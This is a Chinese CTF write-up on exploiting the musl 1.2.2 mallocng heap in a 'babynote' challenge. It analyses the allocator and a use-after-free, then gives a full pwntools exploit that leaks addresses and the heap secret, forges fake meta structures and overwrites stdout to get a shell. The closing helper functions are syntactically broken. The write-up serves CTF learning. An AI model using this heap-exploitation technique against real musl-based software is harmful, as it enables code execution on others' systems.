比赛的时候写这个纯粹坐牢…之前完全没碰过musl,更不要说1.2.2版了 赛后做了一下复现,也是以此为契机入门一下musl
先放一下参考链接,强烈建议看本文前先看其中两至三篇
借助DefCon Quals 2021的mooosl学习musl mallocng(源码审计篇)
从musl libc 1.1.24到1.2.2 学习pwn姿势
新版musl-libc malloc源码分析与调试(Niebelungen大佬的文章,推荐程度最高)
musl libc(环境配置)
musl-1.2.x堆部分源码分析(推荐)
musl 1.2.2 总结+源码分析 One(chunk结构描述与环境配置,推荐)
从一次 CTF 出题谈 musl libc 堆漏洞利用(这篇是1.1.24 参考一下就好)
新版musl libc 浅析
首先声明,本文不是纯粹的musl源码分析,重点还是在题目上,敬请谅解
题目分析
乍一看是传统菜单题(函数均经过重命名)
add
第一次输入的内容是key,第二次输入的内容是context,这两项长度都是可控的;链表块本身大小为0x28,不可控。add会按链表块、key、context的顺序去调用calloc进行存储。
每次插入都是往链表尾插入,manage_heap指针指向当前链表尾
find
作用实际上就是根据指针去遍历链表,查询到key与输入相同的链表块并返回链表块指针。
find函数通过该函数查询到链表块,再
注意一点:find中输入的key同样是靠calloc存储的,这一点在之后的利用中很关键
delete
这里也是漏洞点所在。本身是根据输入的key删除链表块,再free中国链表块的三个chunk。
问题出在manage_heap指针上。如果我们删除了链表头,也就是第一个申请的chunk,那么原链表中倒数第二个链表块中指向被删除链表块的manage_heap指针依然存在,也就是造成了UAF。
forget
没什么好说的,直接清除链表指针,相当于清空整个链表
漏洞利用
额外检查
首先需要特别提一下,这道题所有的堆块申请都是通过calloc
完成的
这意味着两点:
- 增加了一个检查
- 申请到的堆块原内容会置0
这里给出calloc源码作为参考
#路径为\src\malloc\mallocng\calloc.c
void *calloc(size_t m, size_t n)
{
if (n && m > (size_t)-1/n) {
errno = ENOMEM;
return 0;
}
n *= m;
void *p = malloc(n);
if (!p || (!__malloc_replaced && __malloc_allzerop(p)))
#额外检查就是 __malloc_allzerop
return p;
n = mal0_clear(p, n);
return memset(p, 0, n);
#正常返回全部置0
}
返回置0很好理解,glibc的calloc也是这样子,但额外检查是什么情况?
__malloc_allzerop
函数在之前的代码中有定义
static int allzerop(void *p)
{
return 0;
}
weak_alias(allzerop, __malloc_allzerop);
似乎只是个返回0的无用函数。但注意这里是个weak_alias
而在\src\malloc\mallocng\glue.h
中,有这样的定义
#define is_allzero __malloc_allzerop
在\src\malloc\mallocng\malloc.c
中,恰好有这么一个is_allzero
函数
int is_allzero(void *p)
{
struct meta *g = get_meta(p);
#get_meta函数中有很多检查,请自行参考
return g->sizeclass >= 48 ||
get_stride(g) < UNIT*size_classes[g->sizeclass];
}
也就是说,is_allzore
这个函数在编译时会被宏替换成__malloc_allzerop
,由于有了强符号(函数),weak_alias(allzerop, __malloc_allzerop);
语句实际上是没办法起作用的。
也就相当于calloc的时候也调用了is_allzero
函数进行检查,对申请的meta和group结构有一定要求。
离谱,但这只是musl离谱的冰山一角。
堆块结构&申请与释放
这里来描述一下musl堆的结构和一点点申请与释放机制
看过参考文章的应该知道,musl堆是个这样子的结构 (师傅原谅我盗图)
堆块本身都位于group
当中,group
受meta
管理,全局结构体__malloc_context
中存放了堆相关信息,最重要的一个就是active数组
(由不同size class的meta指针组成)
以下定义均位于meta.h
中
__malloc_context
结构
struct malloc_context {
uint64_t secret;
//check,防止伪造meta
#ifndef PAGESIZE
size_t pagesize;
#endif
int init_done;
unsigned mmap_counter;
struct meta *;
struct meta *avail_meta;
size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift;
struct meta_area *meta_area_head, *meta_area_tail;
unsigned char *avail_meta_areas;
struct meta *active[48]; //关键数据结构,meta指针数组
size_t usage_by_class[48];
uint8_t unmap_seq[32], bounces[32];
uint8_t seq;
uintptr_t brk;
};
meta
结构
struct meta {
struct meta *prev, *next; //双链表
struct group *mem; //group头指针
volatile int avail_mask, freed_mask; #二者均为4字节
//关键位,avail_mask表示哪些堆块可用,freed_mask表示哪些已经被free
uintptr_t last_idx:5;
uintptr_t freeable:1;
uintptr_t sizeclass:6;
uintptr_t maplen:8*sizeof(uintptr_t)-12;
};
group
结构
struct group {
struct meta *meta;
//开头是对应的meta指针
unsigned char active_idx:5;
//active_idx,与meta中last_idx一致
//5 bit,group中堆块数目为active_idx+1
char pad[UNIT - sizeof(struct meta *) - 1];
unsigned char storage[];
};
不同于glibc,除了meta
是一个双链表,group
有meta
指针外,group
内的堆块都没有采用链表机制,而是通过堆块头部的结构来标识自己与group头间的距离
举个例子
这里0x7f886b88bc50
处即为group头,画红线处即为group头存储的meta指针
0x09
即为active_idx
(5bit,实际大小不足1字节)
0x7f886b88bc90
、0x7f886b88bcc0
两处分别为所获取的chunk,chunk头部分为黄、绿线所示
(chunk头为4字节,但实际使用仅2字节,即[-2]、[-3])
画黄线处[-2]表示与group头的距离,实际距离需+1再乘UNIT(0x10)
画绿线处[-3]表示chunk顺序,实际使用需&31
除了第一个chunk,每个chunk头前的低4字节实际上都可以被上面的chunk使用。
列几个方便理解的蜜汁写法
uint32_t mask = freed | avail;
获得当前所有可用chunk的bitmap表示(包括avail中未使用的和free中被释放的)
all = (2u<<g->last_idx)-1;
通过last_idx获得满的bitmap(若last_idx=2,即group一共3个chunk,则 all = 0b111 = 7)
uint32_t self = 1u<<idx
根据idx
(也就是绿线部分&31)获取当前chunk在bitmap中的位置
以下描述的是大小较小的一般情况下的申请释放过程
每一次申请,都会先根据申请大小转换为size class,再根据size class从active数组取meta
musl 1.2.2完全重写了size class,所以它的堆块大小跟1.1.24完全不同了
如果该meta存在,且有avail chunk,那么直接取avail chunk并修改avail mask,通过enframe
返回可用chunk
如果meta不存在,或者该meta没有avail chunk,则通过alloc_slot
获取新的meta,再获取chunk并返回给用户
释放时是一个逆序过程,对chunk头置位,通过chunk索引到group和meta(一堆检查),如果之前没有释放过该group中的chunk或释放完group中全部为free chunk则进入nontrivial_free
函数,否则仅更新meta中free_mask(注意不更新avail mask),直接返回。
在nontrivial_free
函数中,会先检查释放完这个chunk后,整个group是否都处于free状态,如果是,且meta链上还有下一个meta,那就通过dequeue
让这个meta出队,再通过free_group
释放掉group(这会让这个meta进入__malloc_context
中的free_meta_head
备用)。此外,如果被释放的meta是头节点所指向的(链表头),那么会对新的链表头进行active_group
操作,将free_mask
加入avail_mask
中
如果是耗尽了一个group后第一次释放chunk,会将group对应的meta入队(因为前面申请直接跳过了)
注意一个点:一般的释放仅仅更新free mask,不会改变avail mask,而分配只看avail mask
这就导致了刚被释放的chunk不可能被重用,只有等group内全部chunk都被使用过了,再次申请的时候进入alloc_slot
函数来将free_mask加入avail mask
还有一个点:nontrivial_free
本身使用的dequeue和queue函数属于unsafe unlink,这也是一般攻击的着眼点
批评:
1.glibc都知道通过双链表维护结构完整性,,musl倒好,只有一个双链表还缺乏检查。
2.释放的时候居然通过chunk结构去索引高层次结构,本身chunk才是最容易受到攻击的吧
3. 懒狗一个。一堆操作和检查不写宏,就直接往代码里面一放。glibc这一点好不少
leak
既然我们已经有了UAF,那么通过这个做leak也是可行的。由于musl堆静态堆内存的特点,只要泄露堆地址就能拿到libc和elf地址。不过,musl堆本身不是链表,没有存储堆指针,所以还得进行一些操作。
释放完链表尾之后,我们就多出来了一个0x28的manage chunk,以及一个key chunk和一个context chunk。那么,假如通过控制堆块大小,使context chunk被重复使用作为manage chunk,就可以通过show来leak出新申请的key chunk和context chunk的地址。(原manage chunk中的key和context地址都被保留,可以索引到)
这里也有一个小点,由于musl无法立刻重用的性质,可以通过show来耗尽group中的avail chunk,以实现chunk重用,这一手法在本题中很常见
但这两个还不够,由于musl没有hook和onegadget,攻击方式只能局限于FSOP,这就要求通过free在active
数组中创造fake meta。由于free过程中会根据meta索引meta_area并检查secret,因此还需要leak出secret。
注意到UAF指针始终存在,且第一步leak完两个地址之后,UAF指针所指向的0x28链表块已经被free,因此可以通过show再次申请0x28的chunk,将这个链表块里面的context指针覆盖为malloc_context,就可以leak出secret
attack
攻击的核心思路就是通过前述的篡改链表块内部指针,通过free chunk将提前布置好的fake meta释放到active数组中,再通过malloc申请到FILE结构体进行覆写,从而实现FSOP。
这个过程中的一个重点就是通过malloc和free时的get_meta
检查。
检查部分源代码重点如下
const struct group *base = (const void *)(p - UNIT*offset - UNIT);
//根据chunK获取group和meta p为chunk指针
const struct meta *meta = base->meta;
assert(meta->mem == base);//检查
assert(index <= meta->last_idx);
assert(!(meta->avail_mask & (1u<<index)));
assert(!(meta->freed_mask & (1u<<index)));
//通过bitmap进行两次检查,确保avail和freed mask的bitmap不会越界
const struct meta_area *area = (void *)((uintptr_t)meta & -4096);
//meta area和meta在一页内,meta area在页开头(实际就是清除了meta的十六进制低三位)
assert(area->check == ctx.secret);//检查area中的secret
一般流程如下:申请大chunk(超过0x1000,目的是能够在一个chunk内获得形如0x xxxx000的地址,以布置meta area)——>在大chunk内布置好fake meta、fake group和fake meta area——>篡改结尾链表块内的指针(这里需要通过add 0x28 context的方法将链表块置为 Inuse,否则造成df,无法free)
——>del掉结尾链表块(篡改指针时将key指针置为已知有效值即可)——>成功释放
attack的核心是通过控制avail_mask
, freed_mask
,last_idx
等参数,控制释放流程
一个常见trick是将avail_mask
, freed_mask
均置0以进入nontrivial_free
,同时通过last_idx
控制程序执行流
下面我结合exp进行讲解:
感谢提供exp的payong师傅
exp
# -*- coding:utf-8 -*-
from pwn import *
context.os = 'linux'
context.arch = 'amd64'
context.log_level = 'debug'
#context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
context.binary = 'babynote'
io = process('babynote')
#io = remote('123.60.76.240', 60001)
libc = ELF('./libc.so')
elf = ELF('babynote')
def add(name_size, name, note_size, note):
io.sendlineafter('option: ', '1')
io.sendlineafter('name size: ', str(name_size))
io.sendafter('name: ', name)
io.sendlineafter('note size: ', str(note_size))
io.sendafter('note content: ', note)
def show(name_size, name):
io.sendlineafter('option: ', '2')
io.sendlineafter('name size: ', str(name_size))
io.sendafter('name: ', name)
def delete(name_size, name):
io.sendlineafter('option: ', '3')
io.sendlineafter('name size: ', str(name_size))
io.sendafter('name: ', name)
def clear():
io.sendlineafter('option: ', '4')
def pwn():
gdb.attach(io,'b* $rebase(0x15b6)')
#0x28共10个chunk,0x38共7个
add(0x38, 'a' * 0x38, 0x38, 'a' * 0x38) #0x28 1
clear()
#我本机上第一次申请0x38的chunk会填满一个group,导致该chunk行为混乱。
#clear可以避免,不过据大佬说这个clear目的不是这样子的
for _ in range(8):
show(0x28, 'z' * 0x28) #0x28 2-9 清空avail
add(0x38, 'b' * 0x38, 0x28, 'b' * 0x28)#0x28 10 2
#alloc_slot重新置位后使用 这里令0x28 10为manage chunk是为了方面后面使用
add(0x38, 'c' * 0x38, 0x38, 'c' * 0x38)#0x28 3
delete(0x38, 'b' * 0x38)
for _ in range(6):
show(0x28, 'z' * 0x28)#清空avail
add(0x38, 'd' * 0x38, 0x58, 'd' * 0x58)#0x28 2 manage chunk重用了b*0x28
show(0x38, 'b' * 0x38)#第一次leak
io.recvuntil('0x28:')
leak_elf, leak_libc = 0, 0
for i in range(8):
leak_elf += (int(io.recv(2), 16)) << (i * 8)
for i in range(8):
leak_libc += (int(io.recv(2), 16)) << (i * 8)
elf_base = leak_elf - 0x4d80
libc_base = leak_libc - 0xb7870
mmap_base = libc_base - 0x4000
fake_meta_addr = mmap_base + 0x2010
fake_mem_addr = mmap_base + 0x2040
log.success('elf_base: ' + hex(elf_base))
log.success('libc_base: ' + hex(libc_base))
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh\x00'))
stdout = libc_base + 0xb4280
__malloc_context = libc_base + 0xb4ac0
for _ in range(6):
show(0x28, 'z' * 0x28)#清空avail,只留下最后的0x28 10
payload = p64(elf_base + 0x4c80) + p64(__malloc_context) + p64(0x38) + p64(0x28) + p64(0)
show(0x28, payload)#覆盖UAF指针指向的manage chunk,注意需要覆盖key指针不然容易混乱
show(0x38, 'b' * 0x38)#show的内容就是__malloc_context
io.recvuntil('0x28:')
secret = 0
for i in range(8):
secret += (int(io.recv(2), 16)) << (i * 8)
log.success('secret: ' + hex(secret))
add(0x28, 'y' * 0x28, 0x1200, b'\n')#0x1200为了伪造fake meta 、fake group、fake meta area
last_idx, freeable, sc, maplen = 0, 1, 8, 1
#fake meta
fake_meta = p64(stdout - 0x18) # prev
fake_meta += p64(fake_meta_addr + 0x30) # next
fake_meta += p64(fake_mem_addr) # mem
fake_meta += p32(0) + p32(0) # avail_mask, freed_mask
fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
fake_meta += p64(0)
#fake group
fake_mem = p64(fake_meta_addr) # meta
fake_mem += p32(1) + p32(0)
#前一个p32为active idx(实际只有5bit)+pad
#后一个p32为第一个chunk的idx,此处由于应为第一个chunk,
#所以实际应为p32(0x8000),参见上图,不过用p32(0)结果是一样的
payload = b'a' * 0xaa0
#fake meta area
payload += p64(secret) + p64(0)
payload += fake_meta + fake_mem + b'\n'
'''
实际内存布局:
0x1200 chunk 头:a*0xaa0
0x xxx000 fake meta area
0x xxx010 fake meta
0x xxx040 fake group
'''
show(0x1200, payload)
#通过把fake meta、fake group、fake meta_area布置在一个页(0x1000内)来确保对齐
for _ in range(3):
show(0x28, 'z' * 0x28)
payload = p64(elf_base + 0x4c40) + p64(fake_mem_addr + 0x10) + p64(0x38) + p64(0x28) + p64(0)
add(0x58, 'e' * 0x58, 0x28, payload)#覆盖UAF指针指向的manage chunk
delete(0x38, 'a' * 0x38)#释放UAF链表块,包括了释放fake_mem_addr + 0x10
'''这一次释放是为了在stdout-0x18的地方写入fake_meta_addr + 0x30,
目的是为了通过最后一次申请时get meta的校验'''
last_idx, freeable, sc, maplen = 1, 0, 8, 0 #freeable置0是为了拒绝ok to free校验,防止释放meta
fake_meta = p64(0) # prev
fake_meta += p64(0) # next
fake_meta += p64(fake_mem_addr) # mem
fake_meta += p32(0) + p32(0) # avail_mask, freed_mask
fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
fake_meta += p64(0)
fake_mem = p64(fake_meta_addr) # meta
fake_mem += p32(1) + p32(0)
payload = b'a' * 0xa90
payload += p64(secret) + p64(0)
payload += fake_meta + fake_mem + b'\n'
show(0x1200, payload)
for _ in range(2):
show(0x28, 'z' * 0x28)
payload = p64(elf_base + 0x4cc0) + p64(fake_mem_addr + 0x10) + p64(0x30) + p64(0x28) + p64(0)
add(0x58, 'f' * 0x58, 0x28, payload)
delete(0x30, 'c' * 0x30)
'''这次释放的目的是为了将fake meta(在0x1200堆块处)释放到active数组中
注意以上两次释放通过控制last idx实现了对释放过程中nontrivial_free的执行流控制
也就是dequeue和queue'''
last_idx, freeable, sc, maplen = 1, 0, 8, 0
fake_meta = p64(fake_meta_addr) # prev
fake_meta += p64(fake_meta_addr) # next
fake_meta += p64(stdout - 0x10) # mem
fake_meta += p32(1) + p32(0) # avail_mask, freed_mask
fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
fake_meta += b'a' * 0x18
fake_meta += p64(stdout - 0x10)
payload = b'a' * 0xa80
payload += p64(secret) + p64(0)
payload += fake_meta + b'\n'
show(0x1200, payload)
'''直接覆盖fake meta,将mem改成io FILE指针,此时不需要释放所以不用管group'''
# payload = p64(libc_base + 0xb78d0) + p64(fake_mem_addr + 0x10) + p64(0x50) + p64(0x28) + p64(0)
# add(0x58, 'g' * 0x58, 0x28, payload)
# delete(0x50, 'e' * 0x50)
# gdb.attach(io)
io.sendlineafter('option: ', '1')
io.sendlineafter('name size: ', str(0x28))
io.sendafter('name: ', '\n')
io.sendlineafter('note size: ', str(0x80))#sc为8
'''io file覆写,由于传参所以需要申请stdout - 0x10'''
fake_IO = b'/bin/sh\x00' # flags
fake_IO += p64(0) # rpos
fake_IO += p64(0) # rend
fake_IO += p64(libc_base + 0x5c9a0) # close
fake_IO += p64(1) # wend
fake_IO += p64(1) # wpos
fake_IO += p64(0) # mustbezero_1
fake_IO += p64(0) # wbase
fake_IO += p64(0) # read
fake_IO += p64(libc_base + libc.sym['system']) # write
io.sendline(fake_IO)
# pause()
io.interactive()
if __name__ == '__main__':
pwn()
一些想法
exp最有意思的地方在于重用和覆盖。通过让context指针成为manage chunk来leak,通过覆盖manage chunk来leak,通过0x1200堆块的重用来实现fake meta相关的释放和覆写,这一切都仅仅依靠于一个UAF的链表指针和堆机制,仅此而已
注意一点,group的active idx本应与meta中last idx一致,但实际上并没有这方面的检查,题目第一次free也利用了这一点
贴一个fake结构图供参考
提取一下大佬的脚本,组成封装fake结构的函数(padding要自行计算)
def fake_meta(_prev,_next,fake_mem_addr,avail=0,freed=0,last_idx,freeable,sc,maplen=0):
fake_meta = p64(_prev) # prev
fake_meta += p64(_next) # next
fake_meta += p64(fake_mem_addr) # mem
fake_meta += p32(avail) + p32(freed) # avail_mask, freed_mask
fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
fake_meta += p64(0)
return fake_meta
def fake_group(fake_meta_addr,active_idx,idx):
fake_group = p64(fake_meta_addr) # meta
fake_group += p32(active_idx)
fake_group += p32(idx)
return fake_group
def fake_area(padding,secret):
fake_area = b'a' * padding
fake_area += p64(secret) + p64(0)
return fake_area
fa=fake_area()
fm=fake_meta()
fg=fake_group()
payload=fa+fm+fg
最后还是感谢payong师傅,师傅tql2333